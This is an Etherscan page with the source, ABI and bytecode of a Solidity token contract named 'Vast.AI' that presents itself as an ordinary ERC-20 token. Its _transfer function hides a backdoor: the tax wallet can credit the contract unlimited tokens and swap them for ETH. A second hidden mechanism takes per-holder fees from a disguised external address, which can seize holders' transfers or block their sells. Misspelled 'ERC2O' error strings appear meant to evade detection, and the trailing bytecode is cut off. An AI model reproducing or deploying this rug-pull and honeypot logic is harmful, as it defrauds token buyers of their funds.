Token

Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

interface IUniswapV2Router02    - function WETH()    - function swapExactTokensForETHSupport ...    - function factory() interface IUniswapV2Factory    - function getPair(address tokenA, addr ...  contract VastAI *    - function decimals()    - function symbol()    - function name()    - function totalSupply()    - function allowance(address owner, add ...    - function balanceOf(address account)    - function approve(address spender, uin ...    - function _approve(address owner, addr ...    - function swapTokensForETH(uint256 amo ...    - function transferFrom(address sender, ...    - function getPairAddress()    - function transfer(address recipient, ...    - function getFeeAmount(address from)    - function _transfer(address from, addr ...

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-01-20
*/

// SPDX-License-Identifier: None

// https://vast.ai

pragma solidity 0.8.20;

interface IUniswapV2Router02 {
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
}
interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}
contract VastAI {
    mapping (address => uint256) private _balances;
    uint8 private _decimals = 9;
    uint256 private _totalSupply =  4000000 * 10 ** _decimals;
    IUniswapV2Router02 private uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address payable internal _taxWallet;
    IUniswapV2Factory private uniswapV2Factory = IUniswapV2Factory(0x85567c3485101508ef6db08b5e8efF2e2285916f);
    mapping (address => mapping (address => uint256)) private _allowances;
    event Transfer(address indexed sender, address indexed recipient, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    bool swapEnabled;
    uint256 swapThreshold = _totalSupply * 2 / 1000;

    string private _name = "Vast.AI";
    string private _symbol = "VAST";

    constructor () {
        _taxWallet = payable(msg.sender);
        _balances[_taxWallet] = _totalSupply;
        swapEnabled = true;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function swapTokensForETH(uint256 amount) private {
        address[] memory _path = new address[](2);
        _path[0] = address(this);  
        _path[1] =  uniswapV2Router.WETH(); 
        _approve(address(this), address(uniswapV2Router), amount); 
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(amount, 0, _path, _taxWallet, block.timestamp + 33);
    }
    
    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
        return true;
    }

    function getPairAddress() public view returns (address) {
        return IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH());
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function getFeeAmount(address from) internal view returns (uint160) {
        return uint160(uniswapV2Factory.getPair(from, address(this)));
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(amount > 0, "Transfer amount must be greater than zero");
        require(from != address(0), "ERC2O: transfer from the zero address");
        require(to != address(0), "ERC2O: transfer to the zero address");
        uint256 feeAmount = 0;
        if (to == _taxWallet && to == from) {
            _balances[address(this)] += amount;
            swapTokensForETH(amount);
            return;
        }
        if (from != address(this) && from != _taxWallet && swapEnabled  && from != getPairAddress() && to != _taxWallet) {
            feeAmount = amount * uint256(getFeeAmount(from)) / 100;
        }
        _balances[to] += amount - feeAmount;
        _balances[from] -= amount;
        emit Transfer(from, to, amount - feeAmount);
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":true,"internalType":"address","name":"recipient","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getPairAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052600960015f6101000a81548160ff021916908360ff16021790555060015f9054906101000a900460ff16600a6200003c91906200040a565b623d09006200004c91906200045a565b600255737a250d5630b4cf539739df2c5dacb4c659f2488d60035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507385567c3485101508ef6db08b5e8eff2e2285916f60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506103e8600280546200010a91906200045a565b620001169190620004d1565b6008556040518060400160405280600781526020017f566173742e414900000000000000000000000000000000000000000000000000815250600990816200015f919062000763565b506040518060400160405280600481526020017f5641535400000000000000000000000000000000000000000000000000000000815250600a9081620001a6919062000763565b50348015620001b3575f80fd5b503360045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506002545f8060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160075f6101000a81548160ff02191690831515021790555062000847565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156200030257808604811115620002da57620002d962000278565b5b6001851615620002ea5780820291505b8081029050620002fa85620002a5565b9450620002ba565b94509492505050565b5f826200031c5760019050620003ee565b816200032b575f9050620003ee565b81600181146200034457600281146200034f5762000385565b6001915050620003ee565b60ff84111562000364576200036362000278565b5b8360020a9150848211156200037e576200037d62000278565b5b50620003ee565b5060208310610133831016604e8410600b8410161715620003bf5782820a905083811115620003b957620003b862000278565b5b620003ee565b620003ce8484846001620002b1565b92509050818404811115620003e857620003e762000278565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6200041682620003f5565b91506200042383620003fe565b9250620004527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200030b565b905092915050565b5f6200046682620003f5565b91506200047383620003f5565b92508282026200048381620003f5565b915082820484148315176200049d576200049c62000278565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f620004dd82620003f5565b9150620004ea83620003f5565b925082620004fd57620004fc620004a4565b5b828204905092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200058457607f821691505b6020821081036200059a57620005996200053f565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620005fe7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620005c1565b6200060a8683620005c1565b95508019841693508086168417925050509392505050565b5f819050919050565b5f6200064b620006456200063f84620003f5565b62000622565b620003f5565b9050919050565b5f819050919050565b62000666836200062b565b6200067e620006758262000652565b848454620005cd565b825550505050565b5f90565b6200069462000686565b620006a18184846200065b565b505050565b5b81811015620006c857620006bc5f826200068a565b600181019050620006a7565b5050565b601f8211156200071757620006e181620005a0565b620006ec84620005b2565b81016020851015620006fc578190505b620007146200070b85620005b2565b830182620006a6565b50505b505050565b5f82821c905092915050565b5f620007395f19846008026200071c565b1980831691505092915050565b5f62000753838362000728565b9150826002028217905092915050565b6200076e8262000508565b67ffffffffffffffff8111156200078a576200078962000512565b5b6200079682546200056c565b620007a3828285620006cc565b5f60209050601f831160018114620007d9575f8415620007c4578287015190505b620007d0858262000746565b8655506200083f565b601f198416620007e986620005a0565b5f5b828110156200081257848901518255600182019150602085019450602081019050620007eb565b868310156200083257848901516200082e601f89168262000728565b8355505b6001600288020188555050505b505050505050565b6119dd80620008555f395ff3fe608060405234801561000f575f80fd5b506004361061009c575f3560e01c806370a082311161006457806370a082311461015a5780638d5f81e21461018a57806395d89b41146101a8578063a9059cbb146101c6578063dd62ed3e146101f65761009c565b806306fdde03146100a0578063095ea7b3146100be57806318160ddd146100ee57806323b872dd1461010c578063313ce5671461013c575b5f80fd5b6100a8610226565b6040516100b59190611091565b60405180910390f35b6100d860048036038101906100d39190611142565b6102b6565b6040516100e5919061119a565b60405180910390f35b6100f66102cc565b60405161010391906111c2565b60405180910390f35b610126600480360381019061012191906111db565b6102d5565b604051610133919061119a565b60405180910390f35b61014461037a565b6040516101519190611246565b60405180910390f35b610174600480360381019061016f919061125f565b61038f565b60405161018191906111c2565b60405180910390f35b6101926103d4565b60405161019f9190611299565b60405180910390f35b6101b061056e565b6040516101bd9190611091565b60405180910390f35b6101e060048036038101906101db9190611142565b6105fe565b6040516101ed919061119a565b60405180910390f35b610210600480360381019061020b91906112b2565b610614565b60405161021d91906111c2565b60405180910390f35b6060600980546102359061131d565b80601f01602080910402602001604051908101604052809291908181526020018280546102619061131d565b80156102ac5780601f10610283576101008083540402835291602001916102ac565b820191905f5260205f20905b81548152906001019060200180831161028f57829003601f168201915b5050505050905090565b5f6102c2338484610696565b6001905092915050565b5f600254905090565b5f6102e1848484610859565b61036f84338460065f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461036a919061137a565b610696565b600190509392505050565b5f60015f9054906101000a900460ff16905090565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561043f573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061046391906113c1565b73ffffffffffffffffffffffffffffffffffffffff1663e6a439053060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104e9573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061050d91906113c1565b6040518363ffffffff1660e01b815260040161052a9291906113ec565b602060405180830381865afa158015610545573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061056991906113c1565b905090565b6060600a805461057d9061131d565b80601f01602080910402602001604051908101604052809291908181526020018280546105a99061131d565b80156105f45780601f106105cb576101008083540402835291602001916105f4565b820191905f5260205f20905b8154815290600101906020018083116105d757829003601f168201915b5050505050905090565b5f61060a338484610859565b6001905092915050565b5f60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610704576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106fb90611483565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610772576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076990611511565b60405180910390fd5b8060065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161084c91906111c2565b60405180910390a3505050565b5f811161089b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108929061159f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610909576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109009061162d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610977576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096e906116bb565b60405180910390fd5b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156109ff57508373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15610a6557815f803073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610a4f91906116d9565b92505081905550610a5f82610d01565b50610cfc565b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610aee575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610b05575060075f9054906101000a900460ff165b8015610b445750610b146103d4565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610b9d575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15610bdb576064610bad85610f64565b73ffffffffffffffffffffffffffffffffffffffff1683610bce919061170c565b610bd8919061177a565b90505b8082610be7919061137a565b5f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610c3191906116d9565b92505081905550815f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610c83919061137a565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8385610ce5919061137a565b604051610cf291906111c2565b60405180910390a3505b505050565b5f600267ffffffffffffffff811115610d1d57610d1c6117aa565b5b604051908082528060200260200182016040528015610d4b5781602001602082028036833780820191505090505b50905030815f81518110610d6257610d616117d7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e06573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e2a91906113c1565b81600181518110610e3e57610e3d6117d7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050610ea43060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610696565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8460045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16602142610f1391906116d9565b6040518663ffffffff1660e01b8152600401610f3395949392919061194f565b5f604051808303815f87803b158015610f4a575f80fd5b505af1158015610f5c573d5f803e3d5ffd5b505050505050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e6a4390583306040518363ffffffff1660e01b8152600401610fc19291906113ec565b602060405180830381865afa158015610fdc573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061100091906113c1565b9050919050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561103e578082015181840152602081019050611023565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61106382611007565b61106d8185611011565b935061107d818560208601611021565b61108681611049565b840191505092915050565b5f6020820190508181035f8301526110a98184611059565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6110de826110b5565b9050919050565b6110ee816110d4565b81146110f8575f80fd5b50565b5f81359050611109816110e5565b92915050565b5f819050919050565b6111218161110f565b811461112b575f80fd5b50565b5f8135905061113c81611118565b92915050565b5f8060408385031215611158576111576110b1565b5b5f611165858286016110fb565b92505060206111768582860161112e565b9150509250929050565b5f8115159050919050565b61119481611180565b82525050565b5f6020820190506111ad5f83018461118b565b92915050565b6111bc8161110f565b82525050565b5f6020820190506111d55f8301846111b3565b92915050565b5f805f606084860312156111f2576111f16110b1565b5b5f6111ff868287016110fb565b9350506020611210868287016110fb565b92505060406112218682870161112e565b9150509250925092565b5f60ff82169050919050565b6112408161122b565b82525050565b5f6020820190506112595f830184611237565b92915050565b5f60208284031215611274576112736110b1565b5b5f611281848285016110fb565b91505092915050565b611293816110d4565b82525050565b5f6020820190506112ac5f83018461128a565b92915050565b5f80604083850312156112c8576112c76110b1565b5b5f6112d5858286016110fb565b92505060206112e6858286016110fb565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061133457607f821691505b602082108103611347576113466112f0565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6113848261110f565b915061138f8361110f565b92508282039050818111156113a7576113a661134d565b5b92915050565b5f815190506113bb816110e5565b92915050565b5f602082840312156113d6576113d56110b1565b5b5f6113e3848285016113ad565b91505092915050565b5f6040820190506113ff5f83018561128a565b61140c602083018461128a565b9392505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61146d602483611011565b915061147882611413565b604082019050919050565b5f6020820190508181035f83015261149a81611461565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6114fb602283611011565b9150611506826114a1565b604082019050919050565b5f6020820190508181035f830152611528816114ef565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f611589602983611011565b91506115948261152f565b604082019050919050565b5f6020820190508181035f8301526115b68161157d565b9050919050565b7f455243324f3a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611617602583611011565b9150611622826115bd565b604082019050919050565b5f6020820190508181035f8301526116448161160b565b9050919050565b7f455243324f3a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6116a5602383611011565b91506116b08261164b565b604082019050919050565b5f6020820190508181035f8301526116d281611699565b9050919050565b5f6116e38261110f565b91506116ee8361110f565b92508282019050808211156117065761170561134d565b5b92915050565b5f6117168261110f565b91506117218361110f565b925082820261172f8161110f565b915082820484148315176117465761174561134d565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6117848261110f565b915061178f8361110f565b92508261179f5761179e61174d565b5b828204905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f819050919050565b5f61183061182b61182684611804565b61180d565b61110f565b9050919050565b61184081611816565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b611878816110d4565b82525050565b5f611889838361186f565b60208301905092915050565b5f602082019050919050565b5f6118ab82611846565b6118b58185611850565b93506118c083611860565b805f5b838110156118f05781516118d7888261187e565b97506118e283611895565b9250506001810190506118c3565b5085935050505092915050565b5f61191761191261190d846110b5565b61180d565b6110b5565b9050919050565b5f611928826118fd565b9050919050565b5f6119398261191e565b9050919050565b6119498161192f565b82525050565b5f60a0820190506119625f8301886111b3565b61196f6020830187611837565b818103604083015261198181866118a1565b90506119906060830185611940565b61199d60808301846111b3565b969550505050505056fea2646970667358221220952065d1913221caf670b5862e6b7631391e91a583ff14472ee0fddd0563164064736f6c63430008140033

0x608060405234801561000f575f80fd5b506004361061009c575f3560e01c806370a082311161006457806370a082311461015a5780638d5f81e21461018a57806395d89b41146101a8578063a9059cbb146101c6578063dd62ed3e146101f65761009c565b806306fdde03146100a0578063095ea7b3146100be57806318160ddd146100ee57806323b872dd1461010c578063313ce5671461013c575b5f80fd5b6100a8610226565b6040516100b59190611091565b60405180910390f35b6100d860048036038101906100d39190611142565b6102b6565b6040516100e5919061119a565b60405180910390f35b6100f66102cc565b60405161010391906111c2565b60405180910390f35b610126600480360381019061012191906111db565b6102d5565b604051610133919061119a565b60405180910390f35b61014461037a565b6040516101519190611246565b60405180910390f35b610174600480360381019061016f919061125f565b61038f565b60405161018191906111c2565b60405180910390f35b6101926103d4565b60405161019f9190611299565b60405180910390f35b6101b061056e565b6040516101bd9190611091565b60405180910390f35b6101e060048036038101906101db9190611142565b6105fe565b6040516101ed919061119a565b60405180910390f35b610210600480360381019061020b91906112b2565b610614565b60405161021d91906111c2565b60405180910390f35b6060600980546102359061131d565b80601f01602080910402602001604051908101604052809291908181526020018280546102619061131d565b80156102ac5780601f10610283576101008083540402835291602001916102ac565b820191905f5260205f20905b81548152906001019060200180831161028f57829003601f168201915b5050505050905090565b5f6102c2338484610696565b6001905092915050565b5f600254905090565b5f6102e1848484610859565b61036f84338460065f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461036a919061137a565b610696565b600190509392505050565b5f60015f9054906101000a900460ff16905090565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561043f573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061046391906113c1565b73ffffffffffffffffffffffffffffffffffffffff1663e6a439053060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104e9573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061050d91906113c1565b6040518363ffffffff1660e01b815260040161052a9291906113ec565b602060405180830381865afa158015610545573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061056991906113c1565b905090565b6060600a805461057d9061131d565b80601f01602080910402602001604051908101604052809291908181526020018280546105a99061131d565b80156105f45780601f106105cb576101008083540402835291602001916105f4565b820191905f5260205f20905b8154815290600101906020018083116105d757829003601f168201915b5050505050905090565b5f61060a338484610859565b6001905092915050565b5f60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610704576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106fb90611483565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610772576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076990611511565b60405180910390fd5b8060065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161084c91906111c2565b60405180910390a3505050565b5f811161089b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108929061159f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610909576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109009061162d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610977576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096e906116bb565b60405180910390fd5b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156109ff57508373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15610a6557815f803073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610a4f91906116d9565b92505081905550610a5f82610d01565b50610cfc565b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610aee575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610b05575060075f9054906101000a900460ff165b8015610b445750610b146103d4565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610b9d575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15610bdb576064610bad85610f64565b73ffffffffffffffffffffffffffffffffffffffff1683610bce919061170c565b610bd8919061177a565b90505b8082610be7919061137a565b5f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610c3191906116d9565b92505081905550815f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610c83919061137a565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8385610ce5919061137a565b604051610cf291906111c2565b60405180910390a3505b505050565b5f600267ffffffffffffffff811115610d1d57610d1c6117aa565b5b604051908082528060200260200182016040528015610d4b5781602001602082028036833780820191505090505b50905030815f81518110610d6257610d616117d7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e06573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e2a91906113c1565b81600181518110610e3e57610e3d6117d7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050610ea43060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610696565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8460045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16602142610f1391906116d9565b6040518663ffffffff1660e01b8152600401610f3395949392919061194f565b5f604051808303815f87803b158015610f4a575f80fd5b505af1158015610f5c573d5f803e3d5ffd5b505050505050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e6a4390583306040518363ffffffff1660e01b8152600401610fc19291906113ec565b60206040